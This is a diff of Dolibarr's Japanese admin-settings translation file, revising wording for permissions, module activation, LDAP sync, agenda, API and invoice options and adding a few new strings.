Permission41=プロジェクトとタスク(共有プロジェクトと私が連絡先であるプロジェクト)を読込む。 -Permission42=プロジェクト(共有プロジェクトおよび私が連絡先であるプロジェクト)を作成/変更する。プロジェクトやタスクにユーザーを割り当てることもできる +Permission42=プロジェクト(共有プロジェクトおよび私が連絡先であるプロジェクト)を作成/変更する。プロジェクトやタスクにユーザを割り当てることもできる Permission44=プロジェクトを削除する(共有プロジェクトと私が連絡しているプロジェクト) Permission45=プロジェクトをエクスポート Permission61=出張を読込む @@ -780,7 +790,7 @@ Permission153=口座振替の支払注文の送信/送信 Permission154=口座振替の支払注文のクレジット/拒否を記録する Permission161=契約/サブスクリプションを読込む Permission162=契約/サブスクリプションを作成/変更する -Permission163=契約のサービス/サブスクリプションを有効化する +Permission163=契約のサービス/サブスクリプションを活性化する Permission164=契約のサービス/サブスクリプションを無効にする Permission165=契約/サブスクリプションを削除する Permission167=契約をエクスポート @@ -808,7 +818,7 @@ Permission205=接続を管理する Permission206=接続を読込む Permission211=テレフォニーを読込む Permission212=注文明細行 -Permission213=ラインを有効化する +Permission213=ラインを活性化する Permission214=設定テレフォニー Permission215=設定·プロバイダー Permission221=emailingsを読込む @@ -842,9 +852,9 @@ Permission286=連絡先をエクスポート Permission291=関税を読込む Permission292=関税のアクセス許可を設定する Permission293=顧客の料金を変更する -Permission300=バーコードを読込む -Permission301=バーコードを作成/変更する -Permission302=バーコードを削除する +Permission301=バーコードの PDF シートを生成する +Permission304=バーコードの作成/変更 +Permission305=バーコードを削除する Permission311=サービスを読込む Permission312=契約にサービス/サブスクリプションを割り当てる Permission331=ブックマークを読み込む @@ -940,7 +950,7 @@ Permission1190=購買発注を承認 ( 2回目の承認 ) する Permission1191=サプライヤーの注文とその属性をエクスポート Permission1201=エクスポートの結果を得る Permission1202=エクスポートを作成/変更 -Permission1231=仕入先の請求書を読込む +Permission1231=仕入先の請求書 (および支払い) を読込む Permission1232=仕入先の請求書を作成/変更する Permission1233=仕入先の請求書を検証 Permission1234=仕入先の請求書を削除する @@ -971,13 +981,14 @@ Permission3301=新規モジュールを生成する Permission4001=技能/職種/役職を読込む Permission4002=技能/職種/役職の作成/変更 Permission4003=技能/職種/役職を削除する -Permission4020=評価を読込む -Permission4021=評価を作成/変更する -Permission4022=評価を検証 -Permission4023=評価を削除する -Permission4030=比較メニューを見る +Permission4021=評価を読む(あなたとあなたの部下) +Permission4022=評価の作成/変更 +Permission4023=評価を検証 +Permission4025=評価を削除 +Permission4028=比較メニューを見る Permission4031=個人情報を読込む Permission4032=個人情報書出 +Permission4033=すべての評価を読む (部下ではないユーザの評価も含む) Permission10001=ウェブサイトのコンテンツを読込む Permission10002=ウェブサイトのコンテンツ ( htmlおよびjavascriptコンテンツ ) を作成/変更する Permission10003=Webサイトのコンテンツ ( 動的PHPコード ) を作成/変更する。危険。制限された開発者に予約する必要がある。 @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=資産の処分の種類 TypeOfUnit=ユニットの種類 SetupSaved=設定が保存された SetupNotSaved=設定が保存されていない +OAuthServiceConfirmDeleteTitle=OAuth エントリの削除 +OAuthServiceConfirmDeleteMessage=この OAuth エントリを削除してもよいか?そのため既存トークンもすべて削除される。 +ErrorInEntryDeletion=エントリ削除エラー +EntryDeleted=エントリが削除された BackToModuleList=モジュールリストに戻る BackToDictionaryList=辞書リストに戻る TypeOfRevenueStamp=税印紙の種類 @@ -1174,7 +1189,7 @@ LoginPage=ログインページ BackgroundImageLogin=背景画像 PermanentLeftSearchForm=左側のメニューの恒久的な検索フォーム DefaultLanguage=既定の言語 -EnableMultilangInterface=顧客または仕入先との関係に対する多言語サポートを有効にする +EnableMultilangInterface=顧客または仕入先との関係に対する多言語サポートを有効化 EnableShowLogo=メニューに法人のロゴを表示する CompanyInfo=法人/組織 CompanyIds=法人/組織のアイデンティティ @@ -1206,7 +1221,7 @@ Delays_MAIN_DELAY_ORDERS_TO_PROCESS=注文は処理されない Delays_MAIN_DELAY_SUPPLIER_ORDERS_TO_PROCESS=購買発注は処理されない Delays_MAIN_DELAY_PROPALS_TO_CLOSE=提案はクローズされていない Delays_MAIN_DELAY_PROPALS_TO_BILL=提案は請求されない -Delays_MAIN_DELAY_NOT_ACTIVATED_SERVICES=有効化するサービス +Delays_MAIN_DELAY_NOT_ACTIVATED_SERVICES=活性化するサービス Delays_MAIN_DELAY_RUNNING_SERVICES=期限切れのサービス Delays_MAIN_DELAY_SUPPLIER_BILLS_TO_PAY=未払いの仕入先の請求書 Delays_MAIN_DELAY_CUSTOMER_BILLS_UNPAYED=未払いの顧客請求書 @@ -1222,7 +1237,7 @@ SetupDescription4= %s-> %s

      このソフトウェア SetupDescription5=その他の設定メニューエントリは、オプションのパラメータを管理する。 SetupDescriptionLink= %s-%s SetupDescription3b=アプリケーションのデフォルト動作をカスタマイズするために使用される基本的パラメータ(国に関連する機能など)。 -SetupDescription4b=このソフトウェアは、多くのモジュール/アプリケーションで編まれている。ニーズに関連するモジュールを有効にして構成する必要がある。こうしたモジュールを有効化すると、メニューエントリが表示される。 +SetupDescription4b=このソフトウェアは、多くのモジュール/アプリケーションのスイートです。ニーズに関連するモジュールを有効にする必要がある。これらのモジュールを有効にすると、メニュー エントリが表示される。 AuditedSecurityEvents=監査されるセキュリティイベント NoSecurityEventsAreAduited=セキュリティイベントは監査されない。メニュー%sから有効にできる Audit=セキュリティ イベント @@ -1238,29 +1253,31 @@ BrowserName=ブラウザ名 BrowserOS=ブラウザOS ListOfSecurityEvents=Dolibarrセキュリティイベントのリスト SecurityEventsPurged=セキュリティイベントのパージ -TrackableSecurityEvents=Trackable security events -LogEventDesc=特定のセキュリティイベントのログを有効にする。管理者はメニュー%s-%sを介してログを記録する。警告、この機能はデータベースに大量のデータを生成する可能性がある。 +TrackableSecurityEvents=追跡可能なセキュリティ イベント +LogEventDesc=特定のセキュリティイベントのログを有効化。管理者はメニュー%s-%sを介してログを記録する。警告、この機能はデータベースに大量のデータを生成する可能性がある。 AreaForAdminOnly=設定パラメータは、管理者ユーザのみが設定できる。 SystemInfoDesc=システム情報では、読取り専用モードでのみ管理者の目に見える得るその他の技術情報。 SystemAreaForAdminOnly=この領域は、管理者ユーザのみが使用できる。 Dolibarrのユーザ権限は、この制限を変更できない。 CompanyFundationDesc=あなたの法人/組織の情報を編集する。完了したら、ページの下部にある「%s」ボタンをクリックする。 +MoreNetworksAvailableWithModule=「ソーシャル ネットワーク」モジュールを有効化と、より多くのソーシャル ネットワークを利用できる場合がある。 AccountantDesc=外部の会計士/簿記係がいる場合は、ここでその情報を編集できる。 AccountantFileNumber=会計士コード DisplayDesc=アプリケーションの外観と表示に影響を与えるパラメータは、ここで変更できる。 AvailableModules=利用可能なアプリ/モジュール -ToActivateModule=モジュールを有効化するには、設定エリア ( ホーム - >設定 - >モジュール ) に行く。 +ToActivateModule=モジュールを活性化するには、設定エリア ( ホーム - >設定 - >モジュール ) に行く。 SessionTimeOut=セッションのタイムアウト SessionExplanation=この数値は、セッションクリーナーが内部PHPセッションクリーナーによって実行された場合 ( および他に何も実行されない場合 ) 、この遅延の前にセッションが期限切れにならないことを保証する。内部PHPセッションクリーナーは、この遅延後にセッションが期限切れになることを保証しない。この遅延の後、セッションクリーナーが実行されると期限切れになるので、全 %s / %s アクセス、他のセッションによるアクセス中のみ ( 値が0なら、セッションのクリアは外部処理によってのみ行われることを意味する ) 。
      注:外部セッションクリーニングメカニズム ( debianのcron、ubuntu ... ) を備えた一部のサーバーでは、ここに入力した値に関係なく、外部設定で定義された期間が経過するとセッションが破棄される可能性がある。 SessionsPurgedByExternalSystem=このサーバー上のセッションは、外部メカニズム ( debianの下のcron、ubuntu ... ) 、おそらく %s 秒 ( =パラメーターセッションの値changeing the value so.gc_maxlifetime a09a4b739f17f8 ) によってクリーンアップされているもよう。サーバー管理者にセッション遅延の変更を依頼する必要がある。 TriggersAvailable=使用可能なトリガ -TriggersDesc=トリガーは、ディレクトリ htdocs / core / triggersにコピーされるとDolibarrワークフローの動作を変更するファイル。それらは、Dolibarrイベントで有効化された新規アクション ( 新規法人の作成、請求書の検証など ) を実現する。 +TriggersDesc=トリガーは、ディレクトリ htdocs / core / triggersにコピーされるとDolibarrワークフローの動作を変更するファイル。それらは、新規アクション、Dolibarrイベントで活性化済 ( 新規法人の作成、請求書の検証など ) を実現する。 TriggerDisabledByName=このファイル内のトリガはその名前に-NORUNサフィックスは無効になっている。 TriggerDisabledAsModuleDisabled=モジュール%sが無効になっているとして、このファイル内のトリガーが無効になっている。 -TriggerAlwaysActive=このファイル内のトリガーは常に有効、有効化済Dolibarrモジュールであれば何でも。 +TriggerAlwaysActive=このファイル内のトリガーは常に有効、活性化済Dolibarrモジュールであれば何でも。 TriggerActiveAsModuleActive=モジュール%sが有効になっているとして、このファイル内のトリガーがアクティブになる。 GeneratedPasswordDesc=自動生成されたパスワードに使用する方法を選択する。 DictionaryDesc=全参照データを挿入する。デフォルトに値を追加できる。 ConstDesc=このページでは、他のページでは使用できないパラメーターを編集 ( オーバーライド ) できる。これらは主に、開発者/高度なトラブルシューティング専用の予約済パラメーター。 +MiscellaneousOptions=その他のオプション MiscellaneousDesc=他の全セキュリティ関連パラメータはここで定義される。 LimitsSetup=制限/精密設定 LimitsDesc=Dolibarrが使用する制限、精度、最適化をここで定義できる @@ -1284,7 +1301,7 @@ RestoreDesc=Dolibarrバックアップを復元するには、2つの手順が RestoreDesc2=「documents」ディレクトリのバックアップファイル ( zipファイルなど ) を新規Dolibarrインストールまたはこの現在のdocumentsディレクトリ ( %s ) に復元する。 RestoreDesc3=データベース構造とデータをバックアップダンプファイルから、新規Dolibarrインストールのデータベースまたはこの現在のインストールのデータベース ( %s ) に復元する。警告、復元が完了したら、バックアップ時間/インストールから存在したログイン/パスワードを使用して再度接続する必要がある。
      バックアップデータベースをこの現在のインストールに復元するには、このアシスタントに従うことができる。 RestoreMySQL=MySQLのインポート -ForcedToByAModule=このルールが有効化済モジュールによって%sに強制される。 +ForcedToByAModule=このルールが活性化済モジュールによって%sに強制される。 ValueIsForcedBySystem=この値はシステムによって強制される。変更することはできない。 PreviousDumpFiles=既存のバックアップファイル PreviousArchiveFiles=既存のアーカイブファイル @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=あなたは、ユーザ%s YourPHPDoesNotHaveSSLSupport=あなたのPHPでのSSLの機能は使用できない DownloadMoreSkins=ダウンロードするには多くのスキン SimpleNumRefModelDesc=参照番号を%syymm-nnnnの形式で返す。ここで、yyは年、mmは月、nnnnはリセットなしの順次自動インクリメント番号。 +SimpleRefNumRefModelDesc=n の形式で参照番号を返す。ここで、n はリセットなしの連続した自動インクリメント番号。 +AdvancedNumRefModelDesc=参照番号を%syymm-nnnnの形式で返す。ここで、yyは年、mmは月、nnnnはリセットなしの順次自動インクリメント番号。 SimpleNumRefNoDateModelDesc=参照番号を%s-nnnnの形式で返する。nnnnはリセットなしの順次自動インクリメント番号 。 ShowProfIdInAddress=住所付きの職業分類IDを表示する ShowVATIntaInAddress=コミュニティ内のVAT番号を非表示にする @@ -1347,10 +1366,10 @@ WarningAtLeastKeyOrTranslationRequired=少なくともキーまたは翻訳文 NewTranslationStringToShow=表示する新規翻訳文字列 OriginalValueWas=元の翻訳は上書きされる。元の値は次のとおり。

      %s TransKeyWithoutOriginalValue=どの言語ファイルにも存在しない翻訳キー ' %s'の新規翻訳を強制した -TitleNumberOfActivatedModules=有効化されたモジュール -TotalNumberOfActivatedModules=有効化済モジュール: %s / %s -YouMustEnableOneModule=少なくとも1つのモジュールを有効にする必要がある -YouMustEnableTranslationOverwriteBefore=翻訳を置き換えることができるようにするには、最初に翻訳の上書きを有効にする必要がある +TitleNumberOfActivatedModules=活性化済モジュール +TotalNumberOfActivatedModules=活性化済モジュール: %s / %s +YouMustEnableOneModule=少なくとも1つのモジュールを有効化する必要がある +YouMustEnableTranslationOverwriteBefore=翻訳を置き換えることができるようにするには、最初に翻訳の上書きを有効化する必要がある ClassNotFoundIntoPathWarning=クラス%sがPHPパスに見つからない YesInSummer=はい夏に OnlyFollowingModulesAreOpenedToExternalUsers=次のモジュールのみが ( そのようなユーザのアクセス許可に関係なく ) 外部ユーザが使用でき、アクセス許可が付与されている場合にのみ使用できることに注意すること:
      @@ -1380,7 +1399,7 @@ GetBarCode=バーコードを取得する NumberingModules=ナンバリングモデル DocumentModules=ドキュメントモデル ##### Module password generation -PasswordGenerationStandard=内部Dolibarrアルゴリズムに従って生成されたパスワードを返する:%s共有番号と小文字を含む文字。 +PasswordGenerationStandard=内部 Dolibarr アルゴリズムに従って生成されたパスワードを返す: %s 共有の数字と文字を含む文字列。 PasswordGenerationNone=生成されたパスワードを提案しないこと。パスワードは手動で入力する必要がある。 PasswordGenerationPerso=個人的に定義した構成に従ってパスワードを返する。 SetupPerso=構成に応じて @@ -1406,7 +1425,7 @@ NotificationsDescGlobal=*または、モジュールの設定ページでグロ ModelModules=ドキュメントテンプレート DocumentModelOdt=OpenDocumentテンプレートからドキュメントを生成する ( LibreOffice、OpenOffice、KOffice、TextEditなどの.ODT / .ODSファイル ) WatermarkOnDraft=下書き文書に透かし -JSOnPaimentBill=支払フォームの支払明細を自動入力する機能を有効化する +JSOnPaimentBill=支払フォームの支払明細を自動入力する機能を活性化する CompanyIdProfChecker=職業分類IDのルール MustBeUnique=ユニークでなければならないか? MustBeMandatory=取引先の作成が必須 ( VAT番号または法人の種類が定義されている場合 ) ? @@ -1434,6 +1453,10 @@ SuppliersPayment=仕入先の支払 SupplierPaymentSetup=仕入先支払の設定 InvoiceCheckPosteriorDate=検証前に製造日を確認すること InvoiceCheckPosteriorDateHelp=請求書の日付が同じタイプの最後の請求書の日付より前である場合、請求書の検証は禁止される。 +InvoiceOptionCategoryOfOperations=請求書に「業務区分」と記載すること。 +InvoiceOptionCategoryOfOperationsHelp=状況に応じて、言及は次の形式で表示される:
      - 業務カテゴリ: 商品の配送
      - 業務カテゴリ: サービスの提供
      - 業務カテゴリ: 混合 - 商品の配送とサービスの提供 +InvoiceOptionCategoryOfOperationsYes1=はい、住所ブロックの下 +InvoiceOptionCategoryOfOperationsYes2=はい、左下隅にある ##### Proposals ##### PropalSetup=商取引提案モジュールの設定 ProposalsNumberingModules=商取引提案採番モデル @@ -1476,12 +1499,13 @@ WatermarkOnDraftContractCards=下書き契約の透かし ( 空ならなし ) ##### Members ##### MembersSetup=構成員モジュールの設定 MemberMainOptions=主なオプション +MemberCodeChecker=会員コード自動生成オプション AdherentLoginRequired= 各構成員のログインを管理する AdherentMailRequired=新規構成員を作成するにはメールが必要 MemberSendInformationByMailByDefault=構成員 ( 検証や新規サブスクリプション ) にメールの確定を送信するチェックボックスはデフォルトでオンになっている MemberCreateAnExternalUserForSubscriptionValidated=検証済新規構成員サブスクリプションごとに外部ユーザログインを作成する -VisitorCanChooseItsPaymentMode=訪問者は利用可能な支払モードから選択できる -MEMBER_REMINDER_EMAIL=期限切れのサブスクリプションの電子メール
      によって自動リマインダーを有効にする。注:モジュール %s を有効にして、リマインダーを送信するように正しく設定する必要がある。 +VisitorCanChooseItsPaymentMode=訪問者は、利用可能な支払いモードから選択できる +MEMBER_REMINDER_EMAIL=期限切れのサブスクリプションの電子メールによって自動リマインダーを有効化。注:モジュール %s を有効にして、リマインダーを送信するように正しく設定する必要がある。 MembersDocModules=構成員レコードから生成されたドキュメント用のドキュメントテンプレート ##### LDAP setup ##### LDAPSetup=LDAPの設定 @@ -1521,11 +1545,11 @@ LDAPServerDnExample=完全なDN ( 例:DC =会社、dc = comなど ) LDAPDnSynchroActive=ユーザとグループの同期 LDAPDnSynchroActiveExample=LDAP同期にDolibarrまたはDolibarrへのLDAP LDAPDnContactActive=連絡先の同期 -LDAPDnContactActiveExample=有効化/無効化の同期 +LDAPDnContactActiveExample=活性化済/不活化済の同期 LDAPDnMemberActive=構成員の同期 -LDAPDnMemberActiveExample=有効化/無効化の同期 +LDAPDnMemberActiveExample=活性化済/不活化済の同期 LDAPDnMemberTypeActive=構成員種別の同期 -LDAPDnMemberTypeActiveExample=有効化/不活性の同期 +LDAPDnMemberTypeActiveExample=活性化済/不活化済の同期 LDAPContactDn=Dolibarrの連絡先のDN LDAPContactDnExample=完全なDN ( 例:OU =連絡先、DC =社会、dc = comなど ) LDAPMemberDn=Dolibarr構成員のDN @@ -1662,7 +1686,7 @@ OnProductSelectAddProductDesc=ドキュメントの行として製品追加す AutoFillFormFieldBeforeSubmit=説明入力フィールドに製品説明を自動入力する DoNotAutofillButAutoConcat=入力フィールドに製品説明を自動入力しない。製品説明は、入力された説明に自動的に連結される。 DoNotUseDescriptionOfProdut=製品説明が文書の行の説明に含まれることはない -MergePropalProductCard=製品/サービスが提案に含まれている場合、製品/サービスの【添付ファイル】タブで、製品のPDFドキュメントを提案のPDF azurにマージするオプションを有効化する +MergePropalProductCard=製品/サービスが提案に含まれている場合、製品/サービスの【添付ファイル】タブで、製品のPDFドキュメントを提案のPDF azurにマージするオプションを活性化する ViewProductDescInThirdpartyLanguageAbility=フォームでは製品説明を取引先の言語(それ以外の場合はユーザの言語)で表示 UseSearchToSelectProductTooltip=また、製品の数が多い ( > 100 000 ) 場合は、【設定】-> 【その他】で定数PRODUCT_DONOTSEARCH_ANYWHEREを1に設定することで速度を上げることができる。その後、検索は文字列の先頭に限定される。 UseSearchToSelectProduct=キーを押すまで待ってから、製品コンボリストのコンテンツをロードすること ( これにより、製品の数が多い場合にパフォーマンスが向上する可能性があるが、あまり便利ではない ) @@ -1729,7 +1753,7 @@ SendingsSetup=出荷モジュールの設定 SendingsReceiptModel=領収書のモデルを送信する SendingsNumberingModules=発信採番モジュール SendingsAbility=顧客への配送用の出荷シートをサポートする -NoNeedForDeliveryReceipts=ほとんどの場合、出荷用シートは、顧客への配送用のシート ( 送信する製品のリスト ) と、顧客が受け取って署名するシートの両方として使用される。したがって、製品入庫受領書は重複した機能であり、有効化されることはめったにない。 +NoNeedForDeliveryReceipts=ほとんどの場合、出荷用シートは、顧客への配送用のシート ( 送信する製品のリスト ) と、顧客が受け取って署名するシートの両方として使用される。したがって、製品入庫受領書は重複した機能であり、活性化されることはめったにない。 FreeLegalTextOnShippings=出荷に関するフリーテキスト ##### Deliveries ##### DeliveryOrderNumberingModules=製品発送受領採番モジュール @@ -1738,12 +1762,12 @@ DeliveriesOrderAbility=サポート製品の納入の領収書 FreeLegalTextOnDeliveryReceipts=配達のレシートにフリーテキスト ##### FCKeditor ##### AdvancedEditor=高度なエディタ -ActivateFCKeditor=高度なエディタを有効化: +ActivateFCKeditor=高度なエディタを活性化: FCKeditorForNotePublic=要素の「パブリックノート」フィールドのWYSIWIG作成/編集 FCKeditorForNotePrivate=要素の「プライベートノート」フィールドのWYSIWIG作成/編集 FCKeditorForCompany=要素のフィールド記述のWYSIWIG作成/エディション(製品/サービスを除く) -FCKeditorForProduct=製品/サービスのフィールド記述のWYSIWIG作成/エディション -FCKeditorForProductDetails=WYSIWIGによる製品の作成/編集では、全エンティティ(提案、注文、請求書など)の詳細行が示される。 警告:この場合にこのオプションを使用することは、PDFファイルを作成するときに特殊文字やページの書式設定で問題が発生する可能性があるため、真剣に推奨されない。 +FCKeditorForProductDetails=製品の説明またはオブジェクトの行 (提案、注文、請求書などの行) の WYSIWIG 作成/編集。 +FCKeditorForProductDetails2=警告: この場合にこのオプションを使用することは、PDF ファイルを作成する際に特殊文字やページの書式設定で問題が発生する可能性があるため、強くお勧めしません。 FCKeditorForMailing= 郵送のWYSIWIGエディタの作成/版 FCKeditorForUserSignature=WYSIWIGによるユーザ署名の作成/編集 FCKeditorForMail=全メールのWYSIWIG作成/エディション ( 【ツール】-> 【電子メール】を除く ) @@ -1766,7 +1790,7 @@ DetailMenuHandler=新規メニューを表示するメニューハンドラ DetailMenuModule=モジュール名のメニューエントリは、モジュールから来る場合 DetailType=メニューの種類 ( 上または左 ) DetailTitre=翻訳のためのメニューラベルまたはラベルのコード -DetailUrl=メニューがあなたを送るURL ( 絶対URLリンクの場合はhttp://を使用して外部リンク ) +DetailUrl=メニューの送信先 URL (相対 URL リンクまたは https:// を含む外部リンク) DetailEnabled=エントリを表示したりしないように条件 DetailRight=不正な灰色のメニューを表示するための条件 DetailLangs=ラベルのコード変換のためにラングのファイル名 @@ -1810,10 +1834,13 @@ AGENDA_USE_EVENT_TYPE=イベント種別を使用する ( メニューの【設 AGENDA_USE_EVENT_TYPE_DEFAULT=イベント作成フォームでイベントの種別にこのデフォルト値を自動的に設定する AGENDA_DEFAULT_FILTER_TYPE=アジェンダビューの検索フィルタでこの種別のイベントを自動的に設定する AGENDA_DEFAULT_FILTER_STATUS=アジェンダビューの検索フィルタでイベントのこの状態を自動的に設定する +AGENDA_EVENT_PAST_COLOR=過去のイベントカラー +AGENDA_EVENT_CURRENT_COLOR=現在のイベントの色 +AGENDA_EVENT_FUTURE_COLOR=今後のイベントカラー AGENDA_DEFAULT_VIEW=メニューの議題を選択するときに、デフォルトでどのビューを開くか -AGENDA_REMINDER_BROWSER=ユーザのブラウザでイベントリマインダーを有効にする(リマインダーの日付に達すると、ブラウザにポップアップが表示される。各ユーザは、ブラウザの通知設定からそのような通知を無効にできる)。 -AGENDA_REMINDER_BROWSER_SOUND=音声通知を有効にする -AGENDA_REMINDER_EMAIL=電子メールでイベントリマインダーを有効にする(リマインダーオプション/遅延は各イベントで定義できる)。 +AGENDA_REMINDER_BROWSER=ユーザのブラウザでイベントリマインダーを有効化(リマインダーの日付に達すると、ブラウザにポップアップが表示される。各ユーザは、ブラウザの通知設定からそのような通知を無効にできる)。 +AGENDA_REMINDER_BROWSER_SOUND=音声通知を有効化 +AGENDA_REMINDER_EMAIL=電子メールでイベントリマインダーを有効化(リマインダーオプション/遅延は各イベントで定義できる)。 AGENDA_REMINDER_EMAIL_NOTE=注:スケジュールされたジョブ%sの頻度は、リマインダーが正しいタイミングで送信されることを確認するのに十分であること。 AGENDA_SHOW_LINKED_OBJECT=リンクされたオブジェクトを議題ビューに表示する ##### Clicktodial ##### @@ -1837,24 +1864,24 @@ StockDecreaseForPointOfSaleDisabledbyBatch=POSの在庫減少は、モジュー CashDeskYouDidNotDisableStockDecease=POSから販売するときに、在庫減少を無効にしなかった。したがって、倉庫が必要。 CashDeskForceDecreaseStockLabel=バッチ製品の在庫減少を余儀なくされた。 CashDeskForceDecreaseStockDesc=最も古いeatbyおよびsellbyの日付で最初に減らする。 -CashDeskReaderKeyCodeForEnter=バーコードリーダーで定義された「Enter」のキーコード ( 例:13 ) +CashDeskReaderKeyCodeForEnter=バーコードリーダーで定義された「Enter」キーの ASCII コード (例: 13) ##### Bookmark ##### BookmarkSetup=モジュールの設定をブックマーク BookmarkDesc=このモジュールを使用すると、ブックマークを管理できる。左側のメニューで、Dolibarrページまたは外部Webサイトへのショートカットを追加することもできる。 NbOfBoomarkToShow=左側のメニューに表示するブックマークの最大数 ##### WebServices ##### WebServicesSetup=ウェブサービスモジュールの設定 -WebServicesDesc=このモジュールを有効にすることによって、Dolibarrでは、その他のウェブサービスを提供するWebサービスのサーバーになる。 +WebServicesDesc=このモジュールの有効化によって、Dolibarrでは、その他のウェブサービスを提供するWebサービスのサーバーになる。 WSDLCanBeDownloadedHere=提供されるサービスのWSDL記述子ファイルはここからダウンロードできる。 EndPointIs=SOAPクライアントは、URLで入手可能なDolibarrエンドポイントに要求を送信する必要がある ##### API #### ApiSetup=APIモジュールの設定 -ApiDesc=このモジュールを有効にすることで、DolibarrはさまざまなWebサービスを提供するRESTサーバーになる。 -ApiProductionMode=本番モードを有効化する ( これにより、サービス管理のためのキャッシュの使用が有効化する ) +ApiDesc=このモジュールを有効化することで、DolibarrはさまざまなWebサービスを提供するRESTサーバーになる。 +ApiProductionMode=本番モードを活性化する ( これにより、サービス管理のためのキャッシュの使用が活性化する ) ApiExporerIs=URLでAPIを調べてテストできる OnlyActiveElementsAreExposed=有効なモジュールの要素のみが公開される ApiKey=APIのキー -WarningAPIExplorerDisabled=APIエクスプローラーが無効になっている。 APIサービスを提供するためにAPIエクスプローラーは必要ない。これは、開発者がRESTAPIを検索/テストするためのツール。このツールが必要な場合は、モジュールAPIRESTの設定に移動して有効化する。 +WarningAPIExplorerDisabled=APIエクスプローラーが無効になっている。 APIサービスを提供するためにAPIエクスプローラーは必要ない。これは、開発者がRESTAPIを検索/テストするためのツール。このツールが必要な場合は、モジュールAPIRESTの設定に移動して活性化する。 ##### Bank ##### BankSetupModule=銀行のモジュールの設定 FreeLegalTextOnChequeReceipts=小切手領収書のフリーテキスト @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=仕入先請求採番モデル IfSetToYesDontForgetPermission=null以外の値に設定されている場合は、2回目の承認を許可されたグループまたはユーザにアクセス許可を提供することを忘れないこと ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=のGeoIP Maxmindモジュールの設定 -PathToGeoIPMaxmindCountryDataFile=MaxmindIPから国への翻訳を含むファイルへのパス。
      例:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Maxmind IP から国への変換を含むファイルへのパス NoteOnPathLocation=国のデータファイルへのあなたのIPは、PHPが読込むことができるディレクトリ内になければならないことに注意すること ( お使いのPHPのopen_basedirの設定とファイルシステムのアクセス権を確認する ) 。 YouCanDownloadFreeDatFileTo=あなたは%sでMaxmindののGeoIP国ファイルの無料デモ版をダウンロードすることできる。 YouCanDownloadAdvancedDatFileTo=また、%sでMaxmindののGeoIP国のファイルの更新と 、より完全なバージョンを、ダウンロードすることができる。 @@ -1913,7 +1940,7 @@ ExpenseReportsSetup=モジュール経費報告書sの設定 TemplatePDFExpenseReports=経費報告書ドキュメントを生成するためのドキュメントテンプレート ExpenseReportsRulesSetup=モジュール経費報告書sの設定-ルール ExpenseReportNumberingModules=経費報告書s採番モジュール -NoModueToManageStockIncrease=自動在庫増加を管理できるモジュールは有効化されていない。在庫増加は手動入力のみで行われる。 +NoModueToManageStockIncrease=自動在庫増加を管理できるモジュールは活性化されていない。在庫増加は手動入力のみで行われる。 YouMayFindNotificationsFeaturesIntoModuleNotification=モジュール「通知」を有効にして構成することにより、電子メール通知のオプションを見つけることができる。 TemplatesForNotifications=通知用のテンプレート ListOfNotificationsPerUser=ユーザごとの自動通知のリスト* @@ -1926,6 +1953,7 @@ BackupDumpWizard=データベースダンプファイルを作成するウィザ BackupZipWizard=ドキュメントディレクトリのアーカイブを構築するウィザード SomethingMakeInstallFromWebNotPossible=次の理由により、Webインターフェイスから外部モジュールをインストールすることはできない。 SomethingMakeInstallFromWebNotPossible2=このため、ここで説明するアップグレードプロセスは、特権ユーザのみが実行できる手動プロセス。 +InstallModuleFromWebHasBeenDisabledContactUs=アプリケーションからの外部モジュールまたは動的 Web サイトのインストールまたは開発は、現在、セキュリティ上の目的でロックされています。この機能を有効化する必要がある場合は、お問い合わせください。 InstallModuleFromWebHasBeenDisabledByFile=アプリケーションからの外部モジュールのインストールが管理者によって無効にされている。この機能を許可するには、ファイル %sを削除するように彼に依頼する必要がある。 ConfFileMustContainCustom=アプリケーションから外部モジュールをインストールまたはビルドするには、モジュールファイルをディレクトリ %sに保存する必要がある。このディレクトリをDolibarrで処理するには、 conf / conf.php を設定して、2つのディレクティブ行を追加する必要がある。
      $ dolibarr_main_url_root_alt = '/ custom';
      $ dolibarr_main_document_root_alt = '%s / custom'; HighlightLinesOnMouseHover=マウスの動きが通過したときにテーブルの行を強調表示する @@ -1936,7 +1964,7 @@ BtnActionColor=アクションボタンの色 TextBtnActionColor=アクションボタンのテキストの色 TextTitleColor=ページタイトルのテキストの色 LinkColor=リンクの色 -PressF5AfterChangingThis=キーボードのCTRL + F5を押すか、この値を変更して有効にするためにブラウザのキャッシュをクリアする +PressF5AfterChangingThis=キーボードのCTRL + F5を押すか、この値を変更して有効化するためにブラウザのキャッシュをクリアする NotSupportedByAllThemes=コアテーマで動作するが、外部テーマではサポートされていない可能性がある BackgroundColor=背景色 TopMenuBackgroundColor=トップメニューの背景色 @@ -2023,12 +2051,12 @@ activateModuleDependNotSatisfied=モジュール「%s」はモジュール「%s CommandIsNotInsideAllowedCommands=実行しようとしているコマンドは、 conf.phpファイルのパラメーター $ dolibarr_main_restrict_os_commandsで定義されている許可されたコマンドのリストにない。 LandingPage=ランディングページ SamePriceAlsoForSharedCompanies=複数の法人のモジュールを使用し、「単一価格」を選択した場合、製品が環境間で共有されていれば、価格も全法人で同じになる -ModuleEnabledAdminMustCheckRights=モジュールが有効化された。有効化されたモジュール(s)のアクセス許可は、管理者ユーザにのみ付与された。必要に応じて、他のユーザまたはグループに手動でアクセス許可を付与する必要がある場合がある。 +ModuleEnabledAdminMustCheckRights=モジュールが活性化済。活性化済モジュール(s)のアクセス許可は、管理者ユーザにのみ付与された。必要に応じて、他のユーザまたはグループに手動でアクセス許可を付与する必要がある場合がある。 UserHasNoPermissions=このユーザには権限が定義されていない TypeCdr=支払期間の日付が請求書の日付に日数のデルタを加えたものである場合は「なし」を使用する ( デルタはフィールド「%s」 )
      デルタの後、日付を増やして終了する必要がある場合は、「月末」を使用する月の ( +オプションの「%s」 ( 日数 ) )
